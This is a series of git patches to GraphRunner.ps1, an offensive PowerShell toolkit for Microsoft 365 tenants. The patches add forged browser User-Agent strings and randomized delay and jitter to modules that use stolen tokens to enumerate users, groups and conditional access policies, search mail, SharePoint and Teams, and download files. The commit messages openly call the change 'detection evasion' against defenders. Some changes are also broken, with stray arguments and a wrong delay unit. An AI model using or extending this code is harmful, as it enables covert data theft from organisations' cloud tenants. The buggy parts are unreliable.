From 1339c86e53a9571c7391cc35f68f3fd8a3e63a0f Mon Sep 17 00:00:00 2001 From: Steve Borosh Date: Thu, 24 Oct 2024 15:45:51 -0600 Subject: [PATCH 1/6] Update GraphRunner.ps1 Initial push to fix some User Agent flow. --- GraphRunner.ps1 | 155 ++++++++++++++++++++++++++++++++++++++---------- 1 file changed, 124 insertions(+), 31 deletions(-) diff --git a/GraphRunner.ps1 b/GraphRunner.ps1 index eb3e070..1424503 100644 --- a/GraphRunner.ps1 +++ b/GraphRunner.ps1 @@ -818,24 +818,32 @@ function Invoke-ImmersiveFileReader{ $FileID, [Parameter(Mandatory = $False)] [object[]] - $Tokens - ) - if ($Device) { - if ($Browser) { - $UserAgent = Invoke-ForgeUserAgent -Device $Device -Browser $Browser + $Tokens, + [Parameter(Mandatory=$False)] + [ValidateSet('Mac','Windows','AndroidMobile','iPhone')] + [String]$Device, + [Parameter(Mandatory=$False)] + [ValidateSet('Android','IE','Chrome','Firefox','Edge','Safari')] + [String]$Browser + ) + if ($Device) { + if ($Browser) { + $UserAgent = Invoke-ForgeUserAgent -Device $Device -Browser $Browser + } + else { + $UserAgent = Invoke-ForgeUserAgent -Device $Device + } } else { - $UserAgent = Invoke-ForgeUserAgent -Device $Device + if ($Browser) { + $UserAgent = Invoke-ForgeUserAgent -Browser $Browser + } + else { + $UserAgent = Invoke-ForgeUserAgent + } } - } - else { - if ($Browser) { - $UserAgent = Invoke-ForgeUserAgent -Browser $Browser - } - else { - $UserAgent = Invoke-ForgeUserAgent - } - } + $Headers=@{} + $Headers["User-Agent"] = $UserAgent if($Tokens){ Write-Host -ForegroundColor yellow "[*] Using the provided access tokens." } @@ -859,13 +867,10 @@ function Invoke-ImmersiveFileReader{ } } } - - $Headers=@{} - $Headers["User-Agent"] = $UserAgent $Headers["Host"] = 'southcentralus1-mediap.svc.ms' $Headers["Accept-Language"] = "en-US" - Invoke-RefreshToSharePointToken -domain $SharePointDomain -ClientId "d326c1ce-6cc6-4de2-bebc-4591e5e13ef0" -Tokens $tokens + Invoke-RefreshToSharePointToken -domain $SharePointDomain -ClientId "d326c1ce-6cc6-4de2-bebc-4591e5e13ef0" -Tokens $tokens -Device $Device -Browser $Browser try { $request = Invoke-WebRequest -UseBasicParsing -Headers $Headers -Method GET -Uri "https://southcentralus1-mediap.svc.ms/transform/imreader?provider=spo&inputFormat=txt&cs=fFNQTw&docid=https%3A%2F%2F$($SharePointDomain)%3A443%2F_api%2Fv2.0%2Fdrives%2F$($DriveID)%2Fitems%2F$($FileID)%3Fversion%3DPublished&access_token=$($global:SharePointToken.access_token)&nocache=true" @@ -2975,13 +2980,39 @@ Function Get-AzureADUsers{ [Parameter(Position = 0, Mandatory = $true)] [object[]] $Tokens = "", - [Parameter(Position = 1, Mandatory = $true)] + [Parameter(Mandatory=$false)] + [string]$Resource = "https://graph.microsoft.com/", + [Parameter(Mandatory=$false)] + [ValidateSet('Mac','Windows','AndroidMobile','iPhone')] + [String]$Device = "Windows", + [Parameter(Mandatory=$false)] + [ValidateSet('Android','IE','Chrome','Firefox','Edge','Safari')] + [String]$Browser = "Edge", + [Parameter(Mandatory=$False)] + [String]$ClientID = "d3590ed6-52b3-4102-aeff-aad2292ab01c", + [Parameter(Mandatory = $true)] [string] - $outfile = "", + $outfile = "AzureADUsers.log", [switch] $GraphRun ) $access_token = $tokens.access_token + if ($Device) { + if ($Browser) { + $UserAgent = Invoke-ForgeUserAgent -Device $Device -Browser $Browser + } + else { + $UserAgent = Invoke-ForgeUserAgent -Device $Device + } + } + else { + if ($Browser) { + $UserAgent = Invoke-ForgeUserAgent -Browser $Browser + } + else { + $UserAgent = Invoke-ForgeUserAgent + } + } if(!$GraphRun){ Write-Host "[*] Gathering the users from the tenant." } @@ -2989,7 +3020,12 @@ Function Get-AzureADUsers{ $userlist = @() do{ try{ - $request = Invoke-WebRequest -UseBasicParsing -Method GET -Uri $usersEndpoint -Headers @{"Authorization" = "Bearer $access_token"} + $Headers = @{ + "Authorization" = "Bearer $access_token" + "User-Agent" = $UserAgent + } + + $request = Invoke-WebRequest -UseBasicParsing -Method GET -Uri $usersEndpoint -Headers $Headers }catch { if($_.Exception.Response.StatusCode.value__ -match "429"){ Write-Host -ForegroundColor red "[*] Being throttled... sleeping 5 seconds" @@ -4806,11 +4842,37 @@ function Invoke-GraphRecon{ [Parameter(Position = 0, Mandatory = $False)] [object[]] $Tokens = "", + [Parameter(Mandatory=$false)] + [string]$Resource = "https://graph.microsoft.com/", + [Parameter(Mandatory=$False)] + [ValidateSet('Mac','Windows','AndroidMobile','iPhone')] + [String]$Device, + [Parameter(Mandatory=$False)] + [ValidateSet('Android','IE','Chrome','Firefox','Edge','Safari')] + [String]$Browser, + [Parameter(Mandatory=$False)] + [String]$ClientID = "d3590ed6-52b3-4102-aeff-aad2292ab01c", [switch] $GraphRun, [switch] $PermissionEnum ) + if ($Device) { + if ($Browser) { + $UserAgent = Invoke-ForgeUserAgent -Device $Device -Browser $Browser + } + else { + $UserAgent = Invoke-ForgeUserAgent -Device $Device + } + } + else { + if ($Browser) { + $UserAgent = Invoke-ForgeUserAgent -Browser $Browser + } + else { + $UserAgent = Invoke-ForgeUserAgent + } + } if($Tokens){ if(!$GraphRun){ Write-Host -ForegroundColor yellow "[*] Using the provided access tokens." @@ -6270,9 +6332,30 @@ function Invoke-SearchSharePointAndOneDrive{ [switch] $PageResults, [switch] - $GraphRun + $GraphRun, + [Parameter(Mandatory=$False)] + [ValidateSet('Mac','Windows','AndroidMobile','iPhone')] + [String]$Device, + [Parameter(Mandatory=$False)] + [ValidateSet('Android','IE','Chrome','Firefox','Edge','Safari')] + [String]$Browser ) - + if ($Device) { + if ($Browser) { + $UserAgent = Invoke-ForgeUserAgent -Device $Device -Browser $Browser + } + else { + $UserAgent = Invoke-ForgeUserAgent -Device $Device + } + } + else { + if ($Browser) { + $UserAgent = Invoke-ForgeUserAgent -Browser $Browser + } + else { + $UserAgent = Invoke-ForgeUserAgent + } + } if($Tokens){ #Suppressing output if GraphRun module is used if (!$GraphRun){ @@ -6308,6 +6391,7 @@ function Invoke-SearchSharePointAndOneDrive{ $headers = @{ "Authorization" = "Bearer $access_token" "Content-Type" = "application/json" + "User-Agent" = $UserAgent } # Define the search query @@ -6422,7 +6506,7 @@ function Invoke-SearchSharePointAndOneDrive{ $resultstodl = $resulttodownload.split(",") foreach ($res in $resultstodl){ $specificfileinfo = $resultarray[$res] - Invoke-DriveFileDownload -Tokens $tokens -DriveItemIDs $specificfileinfo.driveitemids -FileName $specificfileinfo.filename + Invoke-DriveFileDownload -Tokens $tokens -DriveItemIDs $specificfileinfo.driveitemids -FileName $specificfileinfo.filename -Device $Device -Browser $Browser -$headers } } elseif ($anotherDownload -eq "no" -or $anotherDownload -eq "n") { Write-Output "[*] Quitting..." @@ -6432,7 +6516,7 @@ function Invoke-SearchSharePointAndOneDrive{ Write-Host -ForegroundColor Cyan '[***] WARNING - Downloading ALL' + $itemnumber 'matches.' for ($res=0; $res -lt $itemnumber; $res++){ $specificfileinfo = $resultarray[$res] - Invoke-DriveFileDownload -Tokens $tokens -DriveItemIDs $specificfileinfo.driveitemids -FileName $specificfileinfo.filename + Invoke-DriveFileDownload -Tokens $tokens -DriveItemIDs $specificfileinfo.driveitemids -FileName $specificfileinfo.filename -Device $Device -Browser $Browser -$headers } } else { Write-Output "Invalid input. Please enter Yes or No." @@ -6931,7 +7015,17 @@ function Invoke-GraphRunner{ [Parameter(Position = 0, Mandatory = $false)] [object[]] $Tokens = "", - [Parameter(Position = 1, Mandatory = $false)] + [Parameter(Mandatory=$false)] + [string]$Resource = "https://graph.microsoft.com/", + [Parameter(Mandatory=$False)] + [ValidateSet('Mac','Windows','AndroidMobile','iPhone')] + [String]$Device = "Windows", + [Parameter(Mandatory=$False)] + [ValidateSet('Android','IE','Chrome','Firefox','Edge','Safari')] + [String]$Browser = "Edge", + [Parameter(Mandatory=$False)] + [String]$ClientID = "d3590ed6-52b3-4102-aeff-aad2292ab01c", + [Parameter(Mandatory = $false)] [string] $DetectorFile = ".\default_detectors.json", [switch] @@ -6951,7 +7045,6 @@ function Invoke-GraphRunner{ [switch] $DisableTeams ) - if($Tokens){ Write-Host -ForegroundColor yellow "[*] Using the provided access tokens." } @@ -6987,19 +7080,19 @@ function Invoke-GraphRunner{ # GraphRecon if(!$DisableRecon){ Write-Host -ForegroundColor yellow "[*] Now running Invoke-GraphRecon." - Invoke-GraphRecon -Tokens $tokens -GraphRun | Out-File -Encoding ascii "$folderName\recon.txt" + Invoke-GraphRecon -Tokens $tokens -ClientID $ClientID -Device $Device -Browser $Browser -GraphRun | Out-File -Encoding ascii "$folderName\recon.txt" } # Users if(!$DisableUsers){ Write-Host -ForegroundColor yellow "[*] Now getting all users" - Get-AzureADUsers -Tokens $tokens -GraphRun -outfile "$folderName\users.txt" + Get-AzureADUsers -Tokens $tokens -ClientID $ClientID -Device $Device -Browser $Browser -GraphRun -outfile "$folderName\users.txt" } # Groups if(!$DisableGroups){ Write-Host -ForegroundColor yellow "[*] Now getting all groups" - Get-SecurityGroups -Tokens $tokens -GraphRun | Out-File -Encoding ascii "$folderName\groups.txt" + Get-SecurityGroups -Tokens $tokens -ClientID $ClientID -GraphRun | Out-File -Encoding ascii "$folderName\groups.txt" } # CAPS From c0c29814d56bb3bedefa54bb648366253aebe06d Mon Sep 17 00:00:00 2001 From: Steve Borosh Date: Mon, 4 Nov 2024 13:00:35 -0600 Subject: [PATCH 2/6] Update GraphRunner.ps1 Added UserAgent flow to Invoke-DriveFileDownload. --- GraphRunner.ps1 | 31 +++++++++++++++++++++++++++---- 1 file changed, 27 insertions(+), 4 deletions(-) diff --git a/GraphRunner.ps1 b/GraphRunner.ps1 index 1424503..6996614 100644 --- a/GraphRunner.ps1 +++ b/GraphRunner.ps1 @@ -6533,7 +6533,7 @@ function Invoke-SearchSharePointAndOneDrive{ $resultstodl = $resulttodownload.split(",") foreach ($res in $resultstodl){ $specificfileinfo = $resultarray[$res] - Invoke-DriveFileDownload -Tokens $tokens -DriveItemIDs $specificfileinfo.driveitemids -FileName $specificfileinfo.filename + Invoke-DriveFileDownload -Tokens $tokens -DriveItemIDs $specificfileinfo.driveitemids -FileName $specificfileinfo.filename -Device $Device -Browser $Browser -$headers } } elseif ($answer -eq "no" -or $answer -eq "n") { Write-Output "[*] Quitting..." @@ -6545,7 +6545,7 @@ function Invoke-SearchSharePointAndOneDrive{ Write-Host -ForegroundColor Cyan '[***] WARNING - Downloading ALL' + $itemnumber 'matches.' for ($res=0; $res -lt $itemnumber; $res++){ $specificfileinfo = $resultarray[$res] - Invoke-DriveFileDownload -Tokens $tokens -DriveItemIDs $specificfileinfo.driveitemids -FileName $specificfileinfo.filename + Invoke-DriveFileDownload -Tokens $tokens -DriveItemIDs $specificfileinfo.driveitemids -FileName $specificfileinfo.filename -Device $Device -Browser $Browser -$headers } } else { Write-Output "Invalid input. Please enter Yes or No." @@ -6597,16 +6597,39 @@ function Invoke-DriveFileDownload{ $DriveItemIDs = "", [Parameter(Position = 2, Mandatory = $true)] [string] - $FileName = "" + $FileName = "", + [Parameter(Mandatory=$False)] + [ValidateSet('Mac','Windows','AndroidMobile','iPhone')] + [String]$Device, + [Parameter(Mandatory=$False)] + [ValidateSet('Android','IE','Chrome','Firefox','Edge','Safari')] + [String]$Browser ) + if ($Device) { + if ($Browser) { + $UserAgent = Invoke-ForgeUserAgent -Device $Device -Browser $Browser + } + else { + $UserAgent = Invoke-ForgeUserAgent -Device $Device + } + } + else { + if ($Browser) { + $UserAgent = Invoke-ForgeUserAgent -Browser $Browser + } + else { + $UserAgent = Invoke-ForgeUserAgent + } + } $access_token = $tokens.access_token $itemarray = $driveitemids.split(":") $downloadUrl = ("https://graph.microsoft.com/v1.0/drives/" + $itemarray[0] + "/items/" + $itemarray[1] + "/content") $downloadheaders = @{ "Authorization" = "Bearer $access_token" + "User-Agent" = $UserAgent } Write-Host -ForegroundColor yellow "[*] Now downloading $FileName" - Invoke-RestMethod -Uri $downloadUrl -Headers $downloadheaders -OutFile $filename + Invoke-RestMethod -Uri $downloadUrl -Headers $downloadheaders -OutFile $filename -Device $Device -Browser $Browser -$headers } From d77b88c4909f293b82a6c5789db0992eb35b50ad Mon Sep 17 00:00:00 2001 From: Steve Borosh Date: Mon, 4 Nov 2024 22:31:30 -0600 Subject: [PATCH 3/6] Update GraphRunner.ps1 Updated UserAgent header flow. --- GraphRunner.ps1 | 31 ++++++++++++++++++++++++++----- 1 file changed, 26 insertions(+), 5 deletions(-) diff --git a/GraphRunner.ps1 b/GraphRunner.ps1 index 6996614..3263f3b 100644 --- a/GraphRunner.ps1 +++ b/GraphRunner.ps1 @@ -3105,10 +3105,30 @@ Function Invoke-DumpCAPS{ [object[]] $Tokens = "", [switch] - $GraphRun - + $GraphRun, + [Parameter(Mandatory=$False)] + [ValidateSet('Mac','Windows','AndroidMobile','iPhone')] + [String]$Device, + [Parameter(Mandatory=$False)] + [ValidateSet('Android','IE','Chrome','Firefox','Edge','Safari')] + [String]$Browser ) - + if ($Device) { + if ($Browser) { + $UserAgent = Invoke-ForgeUserAgent -Device $Device -Browser $Browser + } + else { + $UserAgent = Invoke-ForgeUserAgent -Device $Device + } + } + else { + if ($Browser) { + $UserAgent = Invoke-ForgeUserAgent -Browser $Browser + } + else { + $UserAgent = Invoke-ForgeUserAgent + } + } if($Tokens){ if(!$GraphRun){ Write-Host -ForegroundColor yellow "[*] Using the provided access tokens." @@ -3119,6 +3139,7 @@ Function Invoke-DumpCAPS{ $refreshbody = @{ "resource" = "https://graph.windows.net/" "client_id" = "04b07795-8ddb-461a-bbee-02f9e1bf7b46" + "User-Agent" = $UserAgent "grant_type" = "refresh_token" "refresh_token" = $RefreshToken "scope"= "openid" @@ -3145,7 +3166,6 @@ Function Invoke-DumpCAPS{ "client_id" = "04b07795-8ddb-461a-bbee-02f9e1bf7b46" "resource" = "https://graph.windows.net/" } - $UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" $Headers=@{} $Headers["User-Agent"] = $UserAgent $authResponse = Invoke-RestMethod ` @@ -3192,6 +3212,7 @@ Function Invoke-DumpCAPS{ $HeadersAuth = @{ Authorization = "Bearer $access_token" + "User-Agent" = $UserAgent } $CAPSUrl = "https://graph.windows.net/$tenantid/policies?api-version=1.61-internal" @@ -7115,7 +7136,7 @@ function Invoke-GraphRunner{ # Groups if(!$DisableGroups){ Write-Host -ForegroundColor yellow "[*] Now getting all groups" - Get-SecurityGroups -Tokens $tokens -ClientID $ClientID -GraphRun | Out-File -Encoding ascii "$folderName\groups.txt" + Get-SecurityGroups -Tokens $tokens -ClientID $ClientID -Device $Device -Browser $Browser -GraphRun | Out-File -Encoding ascii "$folderName\groups.txt" } # CAPS From d2fb300d95226d85acf48039331eb8c2464b5f10 Mon Sep 17 00:00:00 2001 From: Steve Borosh Date: Mon, 4 Nov 2024 22:51:21 -0600 Subject: [PATCH 4/6] Update GraphRunner.ps1 Added some basic detection evasion delays to Invoke-GraphRunner --- GraphRunner.ps1 | 77 ++++++++++++++++++++++++++++++++++++++++++++----- 1 file changed, 69 insertions(+), 8 deletions(-) diff --git a/GraphRunner.ps1 b/GraphRunner.ps1 index 3263f3b..f9d4266 100644 --- a/GraphRunner.ps1 +++ b/GraphRunner.ps1 @@ -7048,6 +7048,54 @@ function Invoke-GraphRunner{ A json file containing KQL queries. See the default_detectors.json file in the repo as an example. + .PARAMETER Resource + Specifies the Microsoft Graph resource URL. Default is "https://graph.microsoft.com/". + + .PARAMETER Device + Indicates the device type for user agent string. Options are: Mac, Windows, AndroidMobile, iPhone. Default is Windows. + + .PARAMETER Browser + Specifies the browser type for user agent string. Options include: Android, IE, Chrome, Firefox, Edge, Safari. Default is Edge. + + .PARAMETER ClientID + The Client ID for authentication. Default is set to "d3590ed6-52b3-4102-aeff-aad2292ab01c". + + .PARAMETER DisableRecon + If set, disables Graph Reconnaissance. + + .PARAMETER DisableUsers + If set, disables Azure AD user enumeration. + + .PARAMETER DisableGroups + If set, disables security group enumeration. + + .PARAMETER DisableCAPS + If set, disables CAPS data dumping. + + .PARAMETER DisableApps + If set, disables application enumeration. + + .PARAMETER DisableEmail + If set, disables email search. + + .PARAMETER DisableSharePoint + If set, disables SharePoint and OneDrive search. + + .PARAMETER DisableTeams + If set, disables Teams search. + + .PARAMETER Delay + Adds a delay between operations in milliseconds. Valid range is 0-10000. + + .PARAMETER Jitter + Adds variability to the delay. Must be between 0.0 and 1.0. + + .EXAMPLE + C:\PS> Invoke-GraphRunner -Tokens $tokens + ----------- + Runs through the account with many of the enumeration and pillage modules using the default_detectors.json file. +#> + .EXAMPLE C:\PS> Invoke-GraphRunner -Tokens $tokens @@ -7087,7 +7135,13 @@ function Invoke-GraphRunner{ [switch] $DisableSharePoint, [switch] - $DisableTeams + $DisableTeams, + [ValidateRange(0,10000)] + [Int] + $Delay = 0, + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3 ) if($Tokens){ Write-Host -ForegroundColor yellow "[*] Using the provided access tokens." @@ -7126,31 +7180,36 @@ function Invoke-GraphRunner{ Write-Host -ForegroundColor yellow "[*] Now running Invoke-GraphRecon." Invoke-GraphRecon -Tokens $tokens -ClientID $ClientID -Device $Device -Browser $Browser -GraphRun | Out-File -Encoding ascii "$folderName\recon.txt" } - + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) # Users if(!$DisableUsers){ Write-Host -ForegroundColor yellow "[*] Now getting all users" Get-AzureADUsers -Tokens $tokens -ClientID $ClientID -Device $Device -Browser $Browser -GraphRun -outfile "$folderName\users.txt" } - + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) # Groups if(!$DisableGroups){ Write-Host -ForegroundColor yellow "[*] Now getting all groups" Get-SecurityGroups -Tokens $tokens -ClientID $ClientID -Device $Device -Browser $Browser -GraphRun | Out-File -Encoding ascii "$folderName\groups.txt" } - + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) # CAPS if(!$DisableCAPS){ Write-Host -ForegroundColor yellow "[*] Now getting conditional access policies" Invoke-DumpCAPS -Tokens $tokens -ResolveGuids -GraphRun | Out-File -Encoding ascii "$folderName\caps.txt" } - + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) # Apps if(!$DisableApps){ Write-Host -ForegroundColor yellow "[*] Now getting applications" Invoke-DumpApps -Tokens $tokens -GraphRun | Out-File -Encoding ascii "$foldername\apps.txt" } - + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) # Email if(!$DisableEmail){ $mailout = "$folderName\interesting-mail.csv" @@ -7160,7 +7219,8 @@ function Invoke-GraphRunner{ Invoke-SearchMailbox -Tokens $tokens -SearchTerm $detect.SearchQuery -DetectorName $detect.DetectorName -MessageCount 500 -OutFile $mailout -GraphRun -PageResults } } - + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) # SharePoint and OneDrive Tests if(!$DisableSharePoint){ $spout = "$folderName\interesting-files.csv" @@ -7170,7 +7230,8 @@ function Invoke-GraphRunner{ Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm $detect.SearchQuery -DetectorName $detect.DetectorName -PageResults -ResultCount 500 -ReportOnly -OutFile $spout -GraphRun } } - + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) # Teams if(!$DisableTeams){ $teamsout = "$folderName\interesting-teamsmessages.csv" From c40e076210167088b32a443ee490c09cf0d39811 Mon Sep 17 00:00:00 2001 From: Steve Borosh Date: Mon, 4 Nov 2024 22:52:38 -0600 Subject: [PATCH 5/6] Update GraphRunner.ps1 Fix errant comment --- GraphRunner.ps1 | 8 -------- 1 file changed, 8 deletions(-) diff --git a/GraphRunner.ps1 b/GraphRunner.ps1 index f9d4266..a4e2ccb 100644 --- a/GraphRunner.ps1 +++ b/GraphRunner.ps1 @@ -7095,14 +7095,6 @@ function Invoke-GraphRunner{ ----------- Runs through the account with many of the enumeration and pillage modules using the default_detectors.json file. #> - - .EXAMPLE - - C:\PS> Invoke-GraphRunner -Tokens $tokens - ----------- - Runs through the account with many of the enumeration and pillage modules using the default_detectors.json file. - #> - param( [Parameter(Position = 0, Mandatory = $false)] [object[]] From 313225d712b0f3eeeae3a681798a847b57319a30 Mon Sep 17 00:00:00 2001 From: Steve Borosh Date: Mon, 4 Nov 2024 23:28:13 -0600 Subject: [PATCH 6/6] Update GraphRunner.ps1 Added Delay and Jitter so we can all do the jitterbug around defenders. :) --- GraphRunner.ps1 | 174 +++++++++++++++++++++++++++++++++++++++++++----- 1 file changed, 158 insertions(+), 16 deletions(-) diff --git a/GraphRunner.ps1 b/GraphRunner.ps1 index a4e2ccb..ad1720a 100644 --- a/GraphRunner.ps1 +++ b/GraphRunner.ps1 @@ -7086,9 +7086,11 @@ function Invoke-GraphRunner{ .PARAMETER Delay Adds a delay between operations in milliseconds. Valid range is 0-10000. + Code from PowerShell Empire :) .PARAMETER Jitter Adds variability to the delay. Must be between 0.0 and 1.0. + Code from PowerShell Empire :) .EXAMPLE C:\PS> Invoke-GraphRunner -Tokens $tokens @@ -7172,36 +7174,136 @@ function Invoke-GraphRunner{ Write-Host -ForegroundColor yellow "[*] Now running Invoke-GraphRecon." Invoke-GraphRecon -Tokens $tokens -ClientID $ClientID -Device $Device -Browser $Browser -GraphRun | Out-File -Encoding ascii "$folderName\recon.txt" } - # sleep for our semi-randomized interval - Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + # Calculate the minimum sleep time + $minDelay = $Delay * (1 - $Jitter) + if ($minDelay -lt 0) { $minDelay = 0 } + + # Calculate the maximum sleep time + $maxDelay = $Delay * (1 + $Jitter) + + # If maxDelay is less than or equal to minDelay, we need to ensure some jitter + if ($maxDelay -le $minDelay) { + $maxDelay = $minDelay + 1 + } + + # Use integer values for sleep time in seconds + $minDelay = [Math]::Floor($minDelay) + $maxDelay = [Math]::Ceiling($maxDelay) + + # Generate a random number within this range + $RandNo = New-Object System.Random + $SleepyTime = $RandNo.Next($minDelay, $maxDelay + 1) + + Write-Output "Sleeping for $SleepyTime seconds." + Start-Sleep -Seconds $SleepyTime # Users if(!$DisableUsers){ Write-Host -ForegroundColor yellow "[*] Now getting all users" Get-AzureADUsers -Tokens $tokens -ClientID $ClientID -Device $Device -Browser $Browser -GraphRun -outfile "$folderName\users.txt" } - # sleep for our semi-randomized interval - Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + # Calculate the minimum sleep time + $minDelay = $Delay * (1 - $Jitter) + if ($minDelay -lt 0) { $minDelay = 0 } + + # Calculate the maximum sleep time + $maxDelay = $Delay * (1 + $Jitter) + + # If maxDelay is less than or equal to minDelay, we need to ensure some jitter + if ($maxDelay -le $minDelay) { + $maxDelay = $minDelay + 1 + } + + # Use integer values for sleep time in seconds + $minDelay = [Math]::Floor($minDelay) + $maxDelay = [Math]::Ceiling($maxDelay) + + # Generate a random number within this range + $RandNo = New-Object System.Random + $SleepyTime = $RandNo.Next($minDelay, $maxDelay + 1) + + Write-Output "Sleeping for $SleepyTime seconds." + Start-Sleep -Seconds $SleepyTime # Groups if(!$DisableGroups){ Write-Host -ForegroundColor yellow "[*] Now getting all groups" Get-SecurityGroups -Tokens $tokens -ClientID $ClientID -Device $Device -Browser $Browser -GraphRun | Out-File -Encoding ascii "$folderName\groups.txt" } - # sleep for our semi-randomized interval - Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + # Calculate the minimum sleep time + $minDelay = $Delay * (1 - $Jitter) + if ($minDelay -lt 0) { $minDelay = 0 } + + # Calculate the maximum sleep time + $maxDelay = $Delay * (1 + $Jitter) + + # If maxDelay is less than or equal to minDelay, we need to ensure some jitter + if ($maxDelay -le $minDelay) { + $maxDelay = $minDelay + 1 + } + + # Use integer values for sleep time in seconds + $minDelay = [Math]::Floor($minDelay) + $maxDelay = [Math]::Ceiling($maxDelay) + + # Generate a random number within this range + $RandNo = New-Object System.Random + $SleepyTime = $RandNo.Next($minDelay, $maxDelay + 1) + + Write-Output "Sleeping for $SleepyTime seconds." + Start-Sleep -Seconds $SleepyTime # CAPS if(!$DisableCAPS){ Write-Host -ForegroundColor yellow "[*] Now getting conditional access policies" Invoke-DumpCAPS -Tokens $tokens -ResolveGuids -GraphRun | Out-File -Encoding ascii "$folderName\caps.txt" } - # sleep for our semi-randomized interval - Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + # Calculate the minimum sleep time + $minDelay = $Delay * (1 - $Jitter) + if ($minDelay -lt 0) { $minDelay = 0 } + + # Calculate the maximum sleep time + $maxDelay = $Delay * (1 + $Jitter) + + # If maxDelay is less than or equal to minDelay, we need to ensure some jitter + if ($maxDelay -le $minDelay) { + $maxDelay = $minDelay + 1 + } + + # Use integer values for sleep time in seconds + $minDelay = [Math]::Floor($minDelay) + $maxDelay = [Math]::Ceiling($maxDelay) + + # Generate a random number within this range + $RandNo = New-Object System.Random + $SleepyTime = $RandNo.Next($minDelay, $maxDelay + 1) + + Write-Output "Sleeping for $SleepyTime seconds." + Start-Sleep -Seconds $SleepyTime # Apps if(!$DisableApps){ - Write-Host -ForegroundColor yellow "[*] Now getting applications" - Invoke-DumpApps -Tokens $tokens -GraphRun | Out-File -Encoding ascii "$foldername\apps.txt" + Write-Host -ForegroundColor yellow "[*] Now getting applications" + Invoke-DumpApps -Tokens $tokens -GraphRun | Out-File -Encoding ascii "$foldername\apps.txt" +} + # Calculate the minimum sleep time + $minDelay = $Delay * (1 - $Jitter) + if ($minDelay -lt 0) { $minDelay = 0 } + + # Calculate the maximum sleep time + $maxDelay = $Delay * (1 + $Jitter) + + # If maxDelay is less than or equal to minDelay, we need to ensure some jitter + if ($maxDelay -le $minDelay) { + $maxDelay = $minDelay + 1 } - # sleep for our semi-randomized interval - Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + # Use integer values for sleep time in seconds + $minDelay = [Math]::Floor($minDelay) + $maxDelay = [Math]::Ceiling($maxDelay) + + # Generate a random number within this range + $RandNo = New-Object System.Random + $SleepyTime = $RandNo.Next($minDelay, $maxDelay + 1) + + Write-Output "Sleeping for $SleepyTime seconds." + Start-Sleep -Seconds $SleepyTime # Email if(!$DisableEmail){ $mailout = "$folderName\interesting-mail.csv" @@ -7211,8 +7313,28 @@ function Invoke-GraphRunner{ Invoke-SearchMailbox -Tokens $tokens -SearchTerm $detect.SearchQuery -DetectorName $detect.DetectorName -MessageCount 500 -OutFile $mailout -GraphRun -PageResults } } - # sleep for our semi-randomized interval - Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + # Calculate the minimum sleep time + $minDelay = $Delay * (1 - $Jitter) + if ($minDelay -lt 0) { $minDelay = 0 } + + # Calculate the maximum sleep time + $maxDelay = $Delay * (1 + $Jitter) + + # If maxDelay is less than or equal to minDelay, we need to ensure some jitter + if ($maxDelay -le $minDelay) { + $maxDelay = $minDelay + 1 + } + + # Use integer values for sleep time in seconds + $minDelay = [Math]::Floor($minDelay) + $maxDelay = [Math]::Ceiling($maxDelay) + + # Generate a random number within this range + $RandNo = New-Object System.Random + $SleepyTime = $RandNo.Next($minDelay, $maxDelay + 1) + + Write-Output "Sleeping for $SleepyTime seconds." + Start-Sleep -Seconds $SleepyTime # SharePoint and OneDrive Tests if(!$DisableSharePoint){ $spout = "$folderName\interesting-files.csv" @@ -7222,8 +7344,28 @@ function Invoke-GraphRunner{ Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm $detect.SearchQuery -DetectorName $detect.DetectorName -PageResults -ResultCount 500 -ReportOnly -OutFile $spout -GraphRun } } - # sleep for our semi-randomized interval - Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + # Calculate the minimum sleep time + $minDelay = $Delay * (1 - $Jitter) + if ($minDelay -lt 0) { $minDelay = 0 } + + # Calculate the maximum sleep time + $maxDelay = $Delay * (1 + $Jitter) + + # If maxDelay is less than or equal to minDelay, we need to ensure some jitter + if ($maxDelay -le $minDelay) { + $maxDelay = $minDelay + 1 + } + + # Use integer values for sleep time in seconds + $minDelay = [Math]::Floor($minDelay) + $maxDelay = [Math]::Ceiling($maxDelay) + + # Generate a random number within this range + $RandNo = New-Object System.Random + $SleepyTime = $RandNo.Next($minDelay, $maxDelay + 1) + + Write-Output "Sleeping for $SleepyTime seconds." + Start-Sleep -Seconds $SleepyTime # Teams if(!$DisableTeams){ $teamsout = "$folderName\interesting-teamsmessages.csv"